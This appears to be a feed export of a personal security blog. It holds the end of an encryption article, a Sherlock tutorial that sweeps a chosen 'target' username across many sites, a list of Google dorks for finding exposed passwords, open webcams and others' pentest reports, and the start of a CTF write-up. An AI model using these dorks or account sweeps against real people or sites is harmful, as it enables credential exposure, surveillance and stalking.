        <span class="hljs-keyword">option</span> = <span class="hljs-keyword">input</span>(<span class="hljs-string">"Do you want to encrypt or decrypt: "</span>)
        <span class="hljs-keyword">key</span> = <span class="hljs-keyword">input</span>(<span class="hljs-string">"Please enter your key: "</span>)
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">option</span> == <span class="hljs-string">"encrypt"</span>:
            <span class="hljs-built_in">text</span> = <span class="hljs-keyword">input</span>(<span class="hljs-string">"Enter your desired text: "</span>)
            <span class="hljs-keyword">encrypt</span>(<span class="hljs-built_in">text</span>, <span class="hljs-keyword">key</span>)
            print(<span class="hljs-string">"Your ciphertext is in file ciphertext.txt"</span>)
        <span class="hljs-keyword">else</span>:
            print(<span class="hljs-string">"Your plaintext is: "</span>,<span class="hljs-keyword">decrypt</span>(<span class="hljs-keyword">key</span>))

    <span class="hljs-keyword">exit</span>()

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    <span class="hljs-keyword">main</span>()
</code></pre><h2 id="heading-closing-notes">Closing Notes</h2>
<p>Symmetrical Encryption is a massively complicated topic. Block ciphers are more secure but a lot more complicated. It deserves its own article. The above code can be found <a target="_blank" href="https://github.com/Dingo418/Hashnode-Projects/tree/main/Symmetrical%20Encryption">here</a> on my Github.</p>
<p>I hope you enjoyed this article about symmetrical encryption. If you have any questions you can always leave a comment below or feel free to reach out to me on Twitter @dingo418.</p>
<h2 id="heading-credits">Credits:</h2>
<p><a target="_blank" href="https://www.youtube.com/watch?v=XYN5BFZAe1w">Video: Block Cipher Vs Stream Cipher - Cryptography - Cyber Security - CSE4003</a>
<a target="_blank" href="https://headfullofciphers.com/2020/12/17/cryptology-101-block-cipher-modes-of-operation">Cryptology 101: Block Cipher Modes of Operation with Python examplez</a></p>
]]></content:encoded></item><item><title><![CDATA[Hunt down social media accounts with Sherlock]]></title><description><![CDATA[Sherlock is a powerful command line tool that can be used to find usernames across many websites and social networks. It works on Linux, MacOS and Windows.
Installation
To install Sherlock, follow the instructions below. Make sure that you have Pytho...]]></description><link>https://colej.net/hunt-down-social-media-accounts-with-sherlock</link><guid isPermaLink="true">https://colej.net/hunt-down-social-media-accounts-with-sherlock</guid><category><![CDATA[OSINT]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Tutorial]]></category><category><![CDATA[beginner]]></category><category><![CDATA[Python]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Tue, 12 Jul 2022 06:12:55 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1657606820932/lbswOb40q.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Sherlock is a powerful command line tool that can be used to find usernames across many websites and social networks. It works on Linux, MacOS and Windows.</p>
<h2 id="heading-installation">Installation</h2>
<p>To install Sherlock, follow the instructions below. Make sure that you have Python3-pip and Python 3.6 or above installed. You can find Sherlock's github <a target="_blank" href="https://github.com/sherlock-project/sherlock">here</a>.</p>
<pre><code><span class="hljs-keyword">On</span> <span class="hljs-keyword">all</span> platforms
~$ git clone https://github.com/sherlock-project/sherlock.git
~$ cd sherlock
~/sherlock$ pip3 install -r requirements.txt

# <span class="hljs-keyword">On</span> Linux
~$ sudo apt install sherlock
</code></pre><p>Once installed, you can run Sherlock by <code>python3 sherlock.py -h</code>.</p>
<pre><code>~$ python3 sherlock.py -h                                                 
usage: sherlock [-h] [<span class="hljs-comment">--version] [--verbose] [--folderoutput FOLDEROUTPUT] [--output OUTPUT] [--tor] [--unique-tor] [--csv] [--site SITE_NAME] [--proxy PROXY_URL] [--json JSON_FILE] [--timeout TIMEOUT] [--print-all] [--print-found]</span>
                [<span class="hljs-comment">--no-color] [--browse] [--local]</span>
                USERNAMES [USERNAMES ...]

Sherlock: Find Usernames Across Social Networks (Version 0.14.0)

positional arguments:
  USERNAMES             One or more usernames to <span class="hljs-keyword">check</span> <span class="hljs-keyword">with</span> social networks.

options:
  -h, <span class="hljs-comment">--help            show this help message and exit</span>
  <span class="hljs-comment">--version             Display version information and dependencies.</span>
  <span class="hljs-comment">--verbose, -v, -d, --debug</span>
                        Display extra debugging information <span class="hljs-keyword">and</span> metrics.
  <span class="hljs-comment">--folderoutput FOLDEROUTPUT, -fo FOLDEROUTPUT</span>
                        <span class="hljs-keyword">If</span> <span class="hljs-keyword">using</span> multiple usernames, the <span class="hljs-keyword">output</span> <span class="hljs-keyword">of</span> the results will be saved <span class="hljs-keyword">to</span> this folder.
  <span class="hljs-comment">--output OUTPUT, -o OUTPUT</span>
                        <span class="hljs-keyword">If</span> <span class="hljs-keyword">using</span> single username, the <span class="hljs-keyword">output</span> <span class="hljs-keyword">of</span> the <span class="hljs-keyword">result</span> will be saved <span class="hljs-keyword">to</span> this file.
  <span class="hljs-comment">--tor, -t             Make requests over Tor; increases runtime; requires Tor to be installed and in system path.</span>
  <span class="hljs-comment">--unique-tor, -u      Make requests over Tor with new Tor circuit after each request; increases runtime; requires Tor to be installed and in system path.</span>
  <span class="hljs-comment">--csv                 Create Comma-Separated Values (CSV) File.</span>
  <span class="hljs-comment">--site SITE_NAME      Limit analysis to just the listed sites. Add multiple options to specify more than one site.</span>
  <span class="hljs-comment">--proxy PROXY_URL, -p PROXY_URL</span>
                        Make requests <span class="hljs-keyword">over</span> a proxy. e.g. socks5://<span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>:<span class="hljs-number">1080</span>
  <span class="hljs-comment">--json JSON_FILE, -j JSON_FILE</span>
                        <span class="hljs-keyword">Load</span> <span class="hljs-keyword">data</span> <span class="hljs-keyword">from</span> a <span class="hljs-keyword">JSON</span> <span class="hljs-keyword">file</span> <span class="hljs-keyword">or</span> an <span class="hljs-keyword">online</span>, valid, <span class="hljs-keyword">JSON</span> file.
  <span class="hljs-comment">--timeout TIMEOUT     Time (in seconds) to wait for response to requests. Default timeout is infinity. A longer timeout will be more likely to get results from slow sites. On the other hand, this may cause a long delay to gather</span>
                        <span class="hljs-keyword">all</span> results.
  <span class="hljs-comment">--print-all           Output sites where the username was not found.</span>
  <span class="hljs-comment">--print-found         Output sites where the username was found.</span>
  <span class="hljs-comment">--no-color            Don't color terminal output</span>
  <span class="hljs-comment">--browse, -b          Browse to all results on default browser.</span>
  <span class="hljs-comment">--local, -l           Force the use of the local data.json file.</span>
</code></pre><p>You can see that their is many useful options. Notably tor and the proxy flag.</p>
<p>If you installed it using the apt method; all you have to do is type <code>sherlock</code>.</p>
<pre><code><span class="hljs-operator">~</span>$ sherlock dingo418
[<span class="hljs-operator">*</span>] Checking username dingo418 on:
[<span class="hljs-operator">+</span>] Coil: https:<span class="hljs-comment">//coil.com/u/dingo418</span>
[<span class="hljs-operator">+</span>] Fiverr: https:<span class="hljs-comment">//www.fiverr.com/dingo418</span>
[<span class="hljs-operator">+</span>] GitHub: https:<span class="hljs-comment">//www.github.com/dingo418</span>
[<span class="hljs-operator">+</span>] HackerOne: https:<span class="hljs-comment">//hackerone.com/dingo418</span>
[<span class="hljs-operator">+</span>] Minecraft: https:<span class="hljs-comment">//api.mojang.com/users/profiles/minecraft/dingo418</span>
[<span class="hljs-operator">+</span>] PCPartPicker: https:<span class="hljs-comment">//pcpartpicker.com/user/dingo418</span>
[<span class="hljs-operator">+</span>] Pinterest: https:<span class="hljs-comment">//www.pinterest.com/dingo418/</span>
[<span class="hljs-operator">+</span>] Scratch: https:<span class="hljs-comment">//scratch.mit.edu/users/dingo418</span>
[<span class="hljs-operator">+</span>] TikTok: https:<span class="hljs-comment">//tiktok.com/@dingo418</span>
[<span class="hljs-operator">+</span>] TradingView: https:<span class="hljs-comment">//www.tradingview.com/u/dingo418/</span>
[<span class="hljs-operator">+</span>] Zhihu: https:<span class="hljs-comment">//www.zhihu.com/people/dingo418</span>
[<span class="hljs-operator">+</span>] eBay.com: https:<span class="hljs-comment">//www.ebay.com/usr/dingo418</span>
[<span class="hljs-operator">+</span>] eBay.de: https:<span class="hljs-comment">//www.ebay.de/usr/dingo418</span>
</code></pre><h2 id="heading-hunt-down-accounts">Hunt down accounts</h2>
<p>Now all you have to do is choose your target. In this example i have chosen<strong> BobSege</strong>. The <strong>--timeout 10</strong> flag forces Sherlock to skip a website after 10 seconds of no response. I always recommend to add it on.</p>
<pre><code><span class="hljs-operator">~</span>$ python3 sherlock.py bobseger <span class="hljs-operator">-</span><span class="hljs-operator">-</span>timeout <span class="hljs-number">10</span>
[<span class="hljs-operator">+</span>] 9GAG: https:<span class="hljs-comment">//www.9gag.com/u/bobseger</span>
[<span class="hljs-operator">+</span>] Academia.edu: https:<span class="hljs-comment">//independent.academia.edu/bobseger</span>
[<span class="hljs-operator">+</span>] Apple Developer: https:<span class="hljs-comment">//developer.apple.com/forums/profile/bobseger</span>
[<span class="hljs-operator">+</span>] Apple Discussions: https:<span class="hljs-comment">//discussions.apple.com/profile/bobseger</span>
[<span class="hljs-operator">+</span>] Archive.org: https:<span class="hljs-comment">//archive.org/details/@bobseger</span>
[<span class="hljs-operator">+</span>] AskFM: https:<span class="hljs-comment">//ask.fm/bobseger</span>
[<span class="hljs-operator">+</span>] Behance: https:<span class="hljs-comment">//www.behance.net/bobseger</span>
[<span class="hljs-operator">+</span>] Blogger: https:<span class="hljs-comment">//bobseger.blogspot.com</span>
[<span class="hljs-operator">+</span>] BodyBuilding: https:<span class="hljs-comment">//bodyspace.bodybuilding.com/bobseger</span>
[<span class="hljs-operator">+</span>] ChaturBate: https:<span class="hljs-comment">//chaturbate.com/bobseger</span>
[<span class="hljs-operator">+</span>] Clubhouse: https:<span class="hljs-comment">//www.clubhouse.com/@bobseger</span>
[<span class="hljs-operator">+</span>] Codecademy: https:<span class="hljs-comment">//www.codecademy.com/profiles/bobseger</span>
[<span class="hljs-operator">+</span>] Coil: https:<span class="hljs-comment">//coil.com/u/bobseger</span>
[<span class="hljs-operator">+</span>] DailyMotion: https:<span class="hljs-comment">//www.dailymotion.com/bobseger</span>
[<span class="hljs-operator">+</span>] DeviantART: https:<span class="hljs-comment">//bobseger.deviantart.com</span>
[<span class="hljs-operator">+</span>] Discogs: https:<span class="hljs-comment">//www.discogs.com/user/bobseger</span>
[<span class="hljs-operator">+</span>] Disqus: https:<span class="hljs-comment">//disqus.com/bobseger</span>
[<span class="hljs-operator">+</span>] Docker Hub: https:<span class="hljs-comment">//hub.docker.com/u/bobseger/</span>
[<span class="hljs-operator">+</span>] Duolingo: https:<span class="hljs-comment">//www.duolingo.com/profile/bobseger</span>
[<span class="hljs-operator">+</span>] Facebook: https:<span class="hljs-comment">//www.facebook.com/bobseger</span>
[<span class="hljs-operator">+</span>] Fiverr: https:<span class="hljs-comment">//www.fiverr.com/bobseger</span>
[<span class="hljs-operator">+</span>] Flipboard: https:<span class="hljs-comment">//flipboard.com/@bobseger</span>
[<span class="hljs-operator">+</span>] FortniteTracker: https:<span class="hljs-comment">//fortnitetracker.com/profile/all/bobseger</span>
[<span class="hljs-operator">+</span>] Freesound: https:<span class="hljs-comment">//freesound.org/people/bobseger/</span>
[<span class="hljs-operator">+</span>] G2G: https:<span class="hljs-comment">//www.g2g.com/bobseger</span>
[<span class="hljs-operator">+</span>] GaiaOnline: https:<span class="hljs-comment">//www.gaiaonline.com/profiles/bobseger</span>
[<span class="hljs-operator">+</span>] Genius (Artists): https:<span class="hljs-comment">//genius.com/artists/bobseger</span>
[<span class="hljs-operator">+</span>] Giphy: https:<span class="hljs-comment">//giphy.com/bobseger</span>
[<span class="hljs-operator">+</span>] GitHub: https:<span class="hljs-comment">//www.github.com/bobseger</span>
[<span class="hljs-operator">+</span>] GoodReads: https:<span class="hljs-comment">//www.goodreads.com/bobseger</span>
[<span class="hljs-operator">+</span>] Gravatar: http:<span class="hljs-comment">//en.gravatar.com/bobseger</span>
[<span class="hljs-operator">+</span>] Imgur: https:<span class="hljs-comment">//imgur.com/user/bobseger</span>
[<span class="hljs-operator">+</span>] Instagram: https:<span class="hljs-comment">//www.instagram.com/bobseger</span>
[<span class="hljs-operator">+</span>] Issuu: https:<span class="hljs-comment">//issuu.com/bobseger</span>
[<span class="hljs-operator">+</span>] Kik: https:<span class="hljs-comment">//kik.me/bobseger</span>
[<span class="hljs-operator">+</span>] Kongregate: https:<span class="hljs-comment">//www.kongregate.com/accounts/bobseger</span>
[<span class="hljs-operator">+</span>] Linktree: https:<span class="hljs-comment">//linktr.ee/bobseger</span>
[<span class="hljs-operator">+</span>] Minecraft: https:<span class="hljs-comment">//api.mojang.com/users/profiles/minecraft/bobseger</span>
[<span class="hljs-operator">+</span>] Munzee: https:<span class="hljs-comment">//www.munzee.com/m/bobseger</span>
[<span class="hljs-operator">+</span>] MyMiniFactory: https:<span class="hljs-comment">//www.myminifactory.com/users/bobseger</span>
[<span class="hljs-operator">+</span>] Myspace: https:<span class="hljs-comment">//myspace.com/bobseger</span>
[<span class="hljs-operator">+</span>] Naver: https:<span class="hljs-comment">//blog.naver.com/bobseger</span>
[<span class="hljs-operator">+</span>] Newgrounds: https:<span class="hljs-comment">//bobseger.newgrounds.com</span>
[<span class="hljs-operator">+</span>] PCPartPicker: https:<span class="hljs-comment">//pcpartpicker.com/user/bobseger</span>
[<span class="hljs-operator">+</span>] Periscope: https:<span class="hljs-comment">//www.periscope.tv/bobseger/</span>
[<span class="hljs-operator">+</span>] Pinterest: https:<span class="hljs-comment">//www.pinterest.com/bobseger/</span>
[<span class="hljs-operator">+</span>] Pokemon Showdown: https:<span class="hljs-comment">//pokemonshowdown.com/users/bobseger</span>
[<span class="hljs-operator">+</span>] Pornhub: https:<span class="hljs-comment">//pornhub.com/users/bobseger</span>
[<span class="hljs-operator">+</span>] Quizlet: https:<span class="hljs-comment">//quizlet.com/bobseger</span>
[<span class="hljs-operator">+</span>] Rate Your Music: https:<span class="hljs-comment">//rateyourmusic.com/~bobseger</span>
[<span class="hljs-operator">+</span>] Redbubble: https:<span class="hljs-comment">//www.redbubble.com/people/bobseger</span>
[<span class="hljs-operator">+</span>] Reddit: https:<span class="hljs-comment">//www.reddit.com/user/bobseger</span>
[<span class="hljs-operator">+</span>] ReverbNation: https:<span class="hljs-comment">//www.reverbnation.com/bobseger</span>
[<span class="hljs-operator">+</span>] Roblox: https:<span class="hljs-comment">//www.roblox.com/user.aspx?username=bobseger</span>
[<span class="hljs-operator">+</span>] Scratch: https:<span class="hljs-comment">//scratch.mit.edu/users/bobseger</span>
[<span class="hljs-operator">+</span>] Scribd: https:<span class="hljs-comment">//www.scribd.com/bobseger</span>
[<span class="hljs-operator">+</span>] SlideShare: https:<span class="hljs-comment">//slideshare.net/bobseger</span>
[<span class="hljs-operator">+</span>] Smule: https:<span class="hljs-comment">//www.smule.com/bobseger</span>
[<span class="hljs-operator">+</span>] SoundCloud: https:<span class="hljs-comment">//soundcloud.com/bobseger</span>
[<span class="hljs-operator">+</span>] Telegram: https:<span class="hljs-comment">//t.me/bobseger</span>
[<span class="hljs-operator">+</span>] Tenor: https:<span class="hljs-comment">//tenor.com/users/bobseger</span>
[<span class="hljs-operator">+</span>] TikTok: https:<span class="hljs-comment">//tiktok.com/@bobseger</span>
[<span class="hljs-operator">+</span>] TradingView: https:<span class="hljs-comment">//www.tradingview.com/u/bobseger/</span>
[<span class="hljs-operator">+</span>] Trello: https:<span class="hljs-comment">//trello.com/bobseger</span>
[<span class="hljs-operator">+</span>] Twitch: https:<span class="hljs-comment">//www.twitch.tv/bobseger</span>
[<span class="hljs-operator">+</span>] Twitter: https:<span class="hljs-comment">//twitter.com/bobseger</span>
[<span class="hljs-operator">+</span>] VSCO: https:<span class="hljs-comment">//vsco.co/bobseger</span>
[<span class="hljs-operator">+</span>] Wattpad: https:<span class="hljs-comment">//www.wattpad.com/user/bobseger</span>
[<span class="hljs-operator">+</span>] Wikipedia: https:<span class="hljs-comment">//en.wikipedia.org/wiki/Special:CentralAuth/bobseger?uselang=qqx</span>
[<span class="hljs-operator">+</span>] WordPress: https:<span class="hljs-comment">//bobseger.wordpress.com/</span>
[<span class="hljs-operator">+</span>] Xbox Gamertag: https:<span class="hljs-comment">//xboxgamertag.com/search/bobseger</span>
[<span class="hljs-operator">+</span>] Xvideos: https:<span class="hljs-comment">//xvideos.com/profiles/bobseger</span>
[<span class="hljs-operator">+</span>] YouNow: https:<span class="hljs-comment">//www.younow.com/bobseger/</span>
[<span class="hljs-operator">+</span>] YouPorn: https:<span class="hljs-comment">//youporn.com/uservids/bobseger</span>
[<span class="hljs-operator">+</span>] Zhihu: https:<span class="hljs-comment">//www.zhihu.com/people/bobseger</span>
[<span class="hljs-operator">+</span>] eBay.com: https:<span class="hljs-comment">//www.ebay.com/usr/bobseger</span>
[<span class="hljs-operator">+</span>] eBay.de: https:<span class="hljs-comment">//www.ebay.de/usr/bobseger</span>
[<span class="hljs-operator">+</span>] jeuxvideo: http:<span class="hljs-comment">//www.jeuxvideo.com/profil/bobseger?mode=infos</span>
[<span class="hljs-operator">+</span>] last.fm: https:<span class="hljs-comment">//last.fm/user/bobseger</span>
[<span class="hljs-operator">+</span>] mercadolivre: https:<span class="hljs-comment">//www.mercadolivre.com.br/perfil/bobseger</span>
[<span class="hljs-operator">+</span>] xHamster: https:<span class="hljs-comment">//xhamster.com/users/bobseger</span>
</code></pre><p>You can find out a lot about your target. In addition, Sherlock also lets you search multiple usernames at once by simply adding a space to your search like below.</p>
<pre><code><span class="hljs-operator">~</span>$ python3 sherlock.py dingo dingoo <span class="hljs-operator">-</span><span class="hljs-operator">-</span>timeout <span class="hljs-number">10</span>
</code></pre><h2 id="heading-useful-flags">Useful flags</h2>
<p>There is a few other useful flags contained in Sherlock. Here are a couple:</p>
<h3 id="heading-proxy-p">Proxy (-p)</h3>
<p><code>-p</code> allows you to specify a proxy. The proxy has to be in the syntax of <code>-p [TYPE-OF-PROXY]://[IP]:[PORT]</code>. An example is below:</p>
<pre><code><span class="hljs-operator">~</span>$ python3 sherlock.py bobseger <span class="hljs-operator">-</span><span class="hljs-operator">-</span>timeout <span class="hljs-number">10</span> <span class="hljs-operator">-</span>p socks5:<span class="hljs-comment">//127.0.0.1:1080</span>
</code></pre><h3 id="heading-tor-t">Tor (-t)</h3>
<p><code>-t</code> allows you to run Sherlock over tor. You will need to be running tor on your current machine and have it added to your system path. </p>
<pre><code><span class="hljs-operator">~</span>$ python3 sherlock.py bobseger <span class="hljs-operator">-</span><span class="hljs-operator">-</span>timeout <span class="hljs-number">10</span> <span class="hljs-operator">-</span>t
</code></pre><h3 id="heading-output-o">Output (-o)</h3>
<p><code>-o</code> allows you to specify an output file for all the positive sites.</p>
<pre><code><span class="hljs-operator">~</span>$ python3 sherlock.py dingo418 <span class="hljs-operator">-</span><span class="hljs-operator">-</span>timeout <span class="hljs-number">10</span> <span class="hljs-operator">-</span>o dingo418.txt
<span class="hljs-operator">~</span>$ cat dingo418.txt
https:<span class="hljs-comment">//coil.com/u/dingo418</span>
https:<span class="hljs-comment">//www.fiverr.com/dingo418</span>
https:<span class="hljs-comment">//www.github.com/dingo418</span>
https:<span class="hljs-comment">//hackerone.com/dingo418</span>
https:<span class="hljs-comment">//api.mojang.com/users/profiles/minecraft/dingo418</span>
https:<span class="hljs-comment">//pcpartpicker.com/user/dingo418</span>
https:<span class="hljs-comment">//www.pinterest.com/dingo418/</span>
https:<span class="hljs-comment">//scratch.mit.edu/users/dingo418</span>
https:<span class="hljs-comment">//tiktok.com/@dingo418</span>
https:<span class="hljs-comment">//www.tradingview.com/u/dingo418/</span>
https:<span class="hljs-comment">//twitter.com/dingo418</span>
https:<span class="hljs-comment">//www.zhihu.com/people/dingo418</span>
https:<span class="hljs-comment">//www.ebay.com/usr/dingo418</span>
https:<span class="hljs-comment">//www.ebay.de/usr/dingo418</span>
</code></pre><h3 id="heading-browser-b">Browser (-b)</h3>
<p><code>-b</code> allows you to automatically open up all the results onto your default browser</p>
<pre><code><span class="hljs-operator">~</span>$ python3 sherlock.py bobseger <span class="hljs-operator">-</span><span class="hljs-operator">-</span>timeout <span class="hljs-number">10</span> <span class="hljs-operator">-</span>b
</code></pre><h2 id="heading-ending-notes">Ending Notes</h2>
<p>Sherlock is a very powerful OSINT tool that is a lot of fun to play around with. You can find a lot about a person</p>
<p>I hope you enjoyed this guide for Sherlock for find social media accounts. If you have any questions you can always leave a comment below or feel free to reach out to me on Twitter <a target="_blank" href="https://twitter.com/dingo418">@dingo418</a>.</p>
]]></content:encoded></item><item><title><![CDATA[My Favorite Google Dorks]]></title><description><![CDATA[What is Google Dorking
Google Dorking is when you use Google search queries to gain access to hidden information on websites. Some of this information google was not meant to index. This can be things such as log files, passwords, ssh-keys, etc. Goog...]]></description><link>https://colej.net/my-favorite-google-dorks</link><guid isPermaLink="true">https://colej.net/my-favorite-google-dorks</guid><category><![CDATA[Google]]></category><category><![CDATA[beginner]]></category><category><![CDATA[OSINT]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Mon, 04 Jul 2022 06:44:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/31OdWLEQ-78/upload/v1656915854679/LaPMYbjR5p.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-what-is-google-dorking">What is Google Dorking</h3>
<p>Google Dorking is when you use Google search queries to gain access to hidden information on websites. Some of this information google was not meant to index. This can be things such as log files, passwords, ssh-keys, etc. Google Dorking is a useful skill everyone should know. </p>
<h3 id="heading-how-does-it-work">How does it work</h3>
<p>Before we get into Google Dorking we need first to understand how Google works. This <a target="_blank" href="https://moz.com/beginners-guide-to-seo/how-search-engines-operate">article</a> talks about how search engines work, but here is a quick run down.</p>
<p>Google sends out bots to a bunch of different websites. It indexes everything on the website it is allowed. Using specific search queries on Google you can get that hidden information.</p>
<h4 id="heading-legal-note">Legal Note</h4>
<p><strong>Google Dorking is not illegal</strong> along as you don't log in to pages. As soon as you <strong>try to log in</strong> to a protected page then it becomes <strong>illegal</strong> and you can get into serious trouble. Always check your local laws.</p>
<p>Furthermore, I would always recommend a VPN when Dorking just as an extra set of protection. You don't need it but it is always good to use. Also, be careful about what you click on, as the stuff you see may not be family-friendly.</p>
<h2 id="heading-google-dorking">Google Dorking</h2>
<p>This is a very simple example of what a Google Dork would be:</p>
<pre><code><span class="hljs-attribute">site</span>:hashnode.com <span class="hljs-attribute">filetype</span>:pdf
</code></pre><p>Google will search <code>https://hashnode.com</code> for all PDF files hosted under that domain name. And as you see below it comes up with a bunch of interesting results
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1656911974162/cc8L-ONQm.png" alt="image.png" /></p>
<p>I am just going to dump a bunch of useful syntaxes you can go refer to. If you want to see a larger list go <a target="_blank" href="https://ahrefs.com/blog/google-advanced-search-operators/">here</a>.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Term</td><td>Action</td></tr>
</thead>
<tbody>
<tr>
<td>""</td><td>The specified term must be an exact match</td></tr>
<tr>
<td>OR</td><td>Operator OR</td></tr>
<tr>
<td>AND</td><td>Operator AND</td></tr>
<tr>
<td>-</td><td>Excludes a term</td></tr>
<tr>
<td>*</td><td>Wildcard, it can be anything</td></tr>
<tr>
<td>site:</td><td>The specified site must be the host</td></tr>
<tr>
<td>filetype:</td><td>Search for a file by its extension (e.g. PDF)</td></tr>
<tr>
<td>cache:</td><td>View Google's Cached version of a specified URL</td></tr>
<tr>
<td>intitle:</td><td>The specified phrase MUST appear in the title of the page</td></tr>
<tr>
<td>inurl:</td><td>Pages with a certain phrase in the url</td></tr>
<tr>
<td>ip:</td><td>The specified IP must be the host</td></tr>
<tr>
<td>after:</td><td>after certain period</td></tr>
</tbody>
</table>
</div><h3 id="heading-advanced-searches">Advanced searches</h3>
<p>These are some fun advanced searches.</p>
<h4 id="heading-finding-passwords">Finding passwords</h4>
<p>There are lots of different queries for passwords but here is a couple:</p>
<pre><code>password filetype:doc <span class="hljs-operator">|</span> filetype:docx <span class="hljs-operator">|</span> filetype:pdf <span class="hljs-operator">|</span> filetype:xls site:Your site

<span class="hljs-string">"admin_password"</span> ext:txt <span class="hljs-operator">|</span> ext:log <span class="hljs-operator">|</span> ext:cfg

filetype:log intext:password after:<span class="hljs-number">2016</span> intext:@gmail.com <span class="hljs-operator">|</span> @yahoo.com <span class="hljs-operator">|</span> @hotmail.com
</code></pre><h4 id="heading-finding-webcams">Finding Webcams</h4>
<p>There are many dorks to find webcams around the world. Here are a few:</p>
<pre><code><span class="hljs-attribute">inurl</span>:<span class="hljs-string">"view.shtml"</span> <span class="hljs-string">"Network Camera"</span>

<span class="hljs-string">"Camera Live Image"</span> <span class="hljs-attribute">inurl</span>:<span class="hljs-string">"guestimage.html"</span>
alt_text

<span class="hljs-attribute">intitle</span>:”webcamXP <span class="hljs-number">5</span>”
</code></pre><p>An example of what you can get is:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1656916322721/WTxDsQ5mB.png" alt="image.png" /></p>
<h4 id="heading-penetration-test-documents">Penetration Test Documents</h4>
<p>Now, this is my favourite one. Why bother doing recon when you can get someone elses work:</p>
<pre><code>intitle: <span class="hljs-string">"report"</span> (<span class="hljs-string">"qualys"</span> | <span class="hljs-string">"nessus"</span> | |acunetix<span class="hljs-string">" | "</span>netsparke<span class="hljs-string">r" | "</span>nmap<span class="hljs-string">") filetype:pdf</span>
</code></pre><p>An example of what you can get is:
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1656916392770/iDgFotFiV.png" alt="image.png" /></p>
<h4 id="heading-other">Other</h4>
<p>Bellow is a collection of dorks. Try them out yourselves. If you want even more their is a ton on <a target="_blank" href="https://www.exploit-db.com/google-hacking-database">exploit-db</a></p>
<p>Sources:</p>
<p>https://tryhackme.com/room/googledorking</p>
<p>https://www.boxpiper.com/posts/google-dork-list</p>
<p>https://moz.com/beginners-guide-to-seo/how-search-engines-operate</p>
<p>https://null-byte.wonderhowto.com/how-to/find-passwords-exposed-log-files-with-google-dorks-0198557/</p>
]]></content:encoded></item><item><title><![CDATA[4. Secret Location - Base: Beginners Quest Google CTF Writeup]]></title><description><![CDATA[Prerequisites:
If you do not have the below knowledge, you will not understand the solution.

You need a good understanding of binary.
You need to understand logic gates. 
You need to be able to read code.
You need to understand bitwise functions

Re...]]></description><link>https://colej.net/4-secret-location-base-beginners-quest-google-ctf-writeup</link><guid isPermaLink="true">https://colej.net/4-secret-location-base-beginners-quest-google-ctf-writeup</guid><category><![CDATA[Google]]></category><category><![CDATA[CTF]]></category><category><![CDATA[coding challenge]]></category><category><![CDATA[Tutorial]]></category><category><![CDATA[beginner]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Wed, 22 Jun 2022 23:01:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1656221985077/FiRh3rumP.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-prerequisites">Prerequisites:</h2>
<p>If you do not have the below knowledge, you will not understand the solution.</p>
<ul>
<li>You need a good understanding of binary.</li>
<li>You need to understand <a target="_blank" href="https://www.techtarget.com/whatis/definition/logic-gate-AND-OR-XOR-NOT-NAND-NOR-and-XNOR">logic gates</a>. </li>
<li>You need to be able to read code.</li>
<li>You need to understand <a target="_blank" href="https://www.guru99.com/c-bitwise-operators.html">bitwise functions</a></li>
</ul>
<h2 id="heading-recon">Recon:</h2>
<p>When we extract the zip files we get two files, "pico.uf2" and "chal.c". A quick google tells us that the "pico.uf2" is a firmware file for the Raspberry Pi Pico. Although I would love to play around with it, I do not have a Raspberry PI Pico. We can also tell that "chal.c" is a c file. We can assume that the "pico.uf2" is a compiled version of "chal.c".</p>
<h2 id="heading-understanding-the-code">Understanding the code:</h2>
<p>"chal.c" has the below code in it.</p>
<pre><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdbool.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"hardware/gpio.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"hardware/structs/sio.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/stdlib.h"</span> </span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">8</span>; i++) {
        gpio_init(i); 
        gpio_set_dir(i, GPIO_OUT); 
    }
    gpio_put_all(<span class="hljs-number">0</span>);

    <span class="hljs-keyword">for</span> (;;) {
        gpio_set_mask(<span class="hljs-number">67</span>);
        gpio_clr_mask(<span class="hljs-number">0</span>);
        sleep_us(<span class="hljs-number">100</span>);
        gpio_set_mask(<span class="hljs-number">20</span>);
        gpio_clr_mask(<span class="hljs-number">3</span>);
        sleep_us(<span class="hljs-number">100</span>);
        gpio_set_mask(<span class="hljs-number">2</span>);
        gpio_clr_mask(<span class="hljs-number">16</span>);
        sleep_us(<span class="hljs-number">100</span>);
        etc..
        etc..
</code></pre><h3 id="heading-breaking-the-code-apart">Breaking the code apart</h3>
<p>Let's break apart this code bit by bit.</p>
<h4 id="heading-include">#include</h4>
<pre><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdbool.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"hardware/gpio.h"</span></span>
